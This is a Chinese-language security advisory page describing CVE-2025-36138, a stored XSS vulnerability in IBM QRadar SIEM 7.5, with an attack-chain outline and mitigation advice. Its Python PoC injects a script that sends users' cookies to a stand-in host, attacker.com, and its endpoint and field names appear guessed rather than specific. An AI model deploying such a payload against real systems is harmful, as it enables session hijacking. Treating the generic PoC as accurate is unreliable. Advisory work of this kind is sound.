IPBUF安全漏洞报告
English
CVE-2025-36138 CVSS 6.4 中危

IBM QRadar SIEM 7.5 存储型跨站脚本漏洞 (CVE-2025-36138)

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-36138
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
IBM QRadar SIEM 7.5

相关标签

存储型XSS跨站脚本IBM QRadarSIEMCVE-2025-36138Web应用漏洞会话劫持认证绕过

漏洞概述

CVE-2025-36138是IBM QRadar SIEM 7.5版本中存在的一个存储型跨站脚本(Stored Cross-Site Scripting)漏洞。该漏洞影响从7.5初始版本到7.5.0 Update Pack 13 Independent Fix 02的所有版本。攻击者需要具有低权限的认证用户身份,即可利用此漏洞在Web界面的特定功能点注入任意JavaScript代码。由于是存储型XSS,恶意脚本会被永久保存在服务器端,所有访问受影响页面的用户都会执行该脚本。攻击者可能利用此漏洞劫持用户会话、窃取凭据、进行钓鱼攻击或在受信任会话中执行恶意操作。由于QRadar SIEM是企业级安全信息与事件管理系统,通常拥有较高权限,存储型XSS漏洞可能导致更严重的后果,包括横向移动和敏感数据泄露。

技术细节

该漏洞属于存储型XSS(Stored XSS),攻击流程如下:1)攻击者以低权限认证用户身份登录QRadar SIEM系统;2)利用系统输入验证不足的缺陷,在Web UI的某个输入字段(如日志备注、报告名称、自定义字段等)中注入恶意JavaScript代码;3)恶意代码被存储到数据库中;4)当其他用户(管理员或普通用户)访问包含该恶意内容的页面时,浏览器会执行注入的JavaScript代码;5)攻击者可窃取用户Cookie、会话令牌或其他敏感信息。CVSS 3.1向量AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N表明攻击复杂度低(AC:L),无需用户交互(UI:N),但可影响其他用户会话(S:C),导致机密性和完整性部分影响。修复需在数据输出时进行HTML实体编码,并在输入端实施严格的输入验证和内容安全策略(CSP)。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标QRadar SIEM版本,确认版本在7.5至7.5.0 Update Pack 13 IF02范围内
STEP 2
初始访问
攻击者获取低权限用户账号(PR:L),通过正常认证流程登录系统
STEP 3
漏洞利用
在Web UI的输入字段中注入包含恶意JavaScript的XSS payload,payload被存储到数据库
STEP 4
触发执行
当其他用户(管理员或普通用户)访问包含恶意内容的页面时,浏览器解析并执行注入的脚本
STEP 5
数据窃取
恶意脚本窃取用户Cookie、会话令牌或其他敏感信息,并发送到攻击者控制的服务器
STEP 6
权限提升/横向移动
攻击者利用窃取的会话信息冒充受害者,可能获取更高权限或访问敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-36138 PoC - Stored XSS in IBM QRadar SIEM 7.5 # This PoC demonstrates how to inject malicious JavaScript via vulnerable input field TARGET = "https://qradar.example.com" LOGIN_URL = f"{TARGET}/console/login" XSS_PAYLOAD = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" def exploit_stored_xss(): """ Steps: 1. Authenticate with low-privilege user credentials 2. Identify vulnerable input field (e.g., note/comment field) 3. Inject XSS payload into the field 4. Payload gets stored and executed when viewed by other users """ session = requests.Session() # Step 1: Login with low-privilege account login_data = { 'username': 'low_priv_user', 'password': 'password123' } session.post(LOGIN_URL, data=login_data) # Step 2: Inject XSS payload into vulnerable field # Typically found in offense notes, custom properties, or report descriptions vulnerable_endpoint = f"{TARGET}/api/ariel/records" exploit_data = { 'note': XSS_PAYLOAD, 'description': f"Offense Note: {XSS_PAYLOAD}" } # Step 3: Send malicious payload response = session.post(vulnerable_endpoint, json=exploit_data) print(f"[*] Payload sent, status: {response.status_code}") print(f"[*] Payload: {XSS_PAYLOAD}") print("[*] XSS will execute when any user views the affected record") return True if __name__ == "__main__": exploit_stored_xss()

影响范围

IBM QRadar SIEM 7.5 (所有子版本)
IBM QRadar SIEM 7.5.0 Update Pack 13 Independent Fix 02及之前版本

防御指南

临时缓解措施
在IBM官方发布修复版本之前,可采取以下临时缓解措施:1)限制低权限用户对Web界面输入功能的访问;2)启用审计日志监控异常输入模式;3)在Web应用防火墙(WAF)上配置XSS防护规则;4)对管理员和关键用户启用双因素认证;5)定期检查系统日志中是否存在可疑的JavaScript代码片段;6)考虑暂时禁用非必要的自定义字段和备注功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表